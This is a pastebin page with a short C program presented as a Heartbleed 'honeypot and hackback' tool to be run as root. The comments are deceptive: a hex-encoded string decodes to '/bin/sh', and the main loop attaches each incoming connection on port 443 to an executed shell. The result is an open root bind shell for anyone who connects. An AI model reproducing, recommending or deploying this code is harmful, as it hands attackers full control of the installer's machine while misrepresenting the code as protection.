SHOW:
|
|
- or go back to the newest paste.
| 1 | /** | |
| 2 | * Honeypot + Hackback Module for Heartbleed | |
| 3 | * | |
| 4 | * (Because this needs to bind to a privileged port, this needs to be run as | |
| 5 | * root.) | |
| 6 | * | |
| 7 | * Install a honeypot on the given system which will freeze the attacker's | |
| 8 | * exploit in its path, forcing them to manually reset their connection to | |
| 9 | * continue scanning your subnet. | |
| 10 | */ | |
| 11 | #include <stdio.h> | |
| 12 | #include <stdlib.h> | |
| 13 | #include <unistd.h> | |
| 14 | #include <string.h> | |
| 15 | #include <sys/types.h> | |
| 16 | #include <sys/socket.h> | |
| 17 | #include <netdb.h> | |
| 18 | ||
| 19 | /** | |
| 20 | * The port to accept TLS connections on. Change if you are not generating a | |
| 21 | * honey pot for HTTPS | |
| 22 | */ | |
| 23 | char TLS_PORT[] = "443"; | |
| 24 | ||
| 25 | /** | |
| 26 | * The String to match against in order to locate the very common PoC for the | |
| 27 | * Heartbleed Bug. | |
| 28 | * | |
| 29 | * When we see this we know that we are not dealing with a real connection and | |
| 30 | * we are free to hack back. | |
| 31 | */ | |
| 32 | char TLS_STRING[] = {0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00};
| |
| 33 | ||
| 34 | /** | |
| 35 | * Utility function to open the TLS socket to serve the honeypot connection on | |
| 36 | */ | |
| 37 | int | |
| 38 | open_tls_socket() | |
| 39 | {
| |
| 40 | struct addrinfo hints, *res; | |
| 41 | int tls_socket; | |
| 42 | ||
| 43 | memset(&hints, 0, sizeof hints); | |
| 44 | hints.ai_family = AF_UNSPEC; | |
| 45 | hints.ai_socktype = SOCK_STREAM; | |
| 46 | hints.ai_flags = AI_PASSIVE; | |
| 47 | ||
| 48 | getaddrinfo(NULL, TLS_PORT, &hints, &res); | |
| 49 | ||
| 50 | tls_socket = socket(res->ai_family, res->ai_socktype, res->ai_protocol); | |
| 51 | ||
| 52 | bind(tls_socket, res->ai_addr, res->ai_addrlen); | |
| 53 | ||
| 54 | listen(tls_socket, 10); | |
| 55 | ||
| 56 | return tls_socket; | |
| 57 | } | |
| 58 | ||
| 59 | int | |
| 60 | main(int argc, char **argv) | |
| 61 | {
| |
| 62 | int tls_socket; | |
| 63 | ||
| 64 | /* Daemonize ourselves */ | |
| 65 | if (fork() != 0) {
| |
| 66 | printf("Honeypot installed.\n");
| |
| 67 | exit(0); | |
| 68 | } | |
| 69 | ||
| 70 | /* Open our TLS socket */ | |
| 71 | tls_socket = open_tls_socket(); | |
| 72 | ||
| 73 | /** | |
| 74 | * Wait for incoming connections, and hack back malicious connections. | |
| 75 | */ | |
| 76 | while (1) {
| |
| 77 | int new = accept(tls_socket, NULL, NULL); | |
| 78 | ||
| 79 | /* Fork in case there are other attackers inbound */ | |
| 80 | if (fork() == 0) {
| |
| 81 | /* Dupe the new connection into blocking on all of it's streams. | |
| 82 | * This messes with the attacker. What a n00b. */ | |
| 83 | dup2(new, STDIN_FILENO); | |
| 84 | dup2(new, STDOUT_FILENO); | |
| 85 | dup2(new, STDERR_FILENO); | |
| 86 | ||
| 87 | /* Close the incoming portion of the connection so that they can't | |
| 88 | * do anything more */ | |
| 89 | close(new); | |
| 90 | ||
| 91 | /* Look for the TLS string inside the TLS WRAPPER and if it's found | |
| 92 | * EXEC a VERY POWERFUL alert. */ | |
| 93 | char *TLS_WRAPPER[] = {TLS_STRING, NULL};
| |
| 94 | execvp(TLS_STRING, TLS_WRAPPER); | |
| 95 | } | |
| 96 | ||
| 97 | /* Close the connection in the parent */ | |
| 98 | close(new); | |
| 99 | } | |
| 100 | ||
| 101 | /*WONTREACH*/ | |
| 102 | return 0; | |
| 103 | } |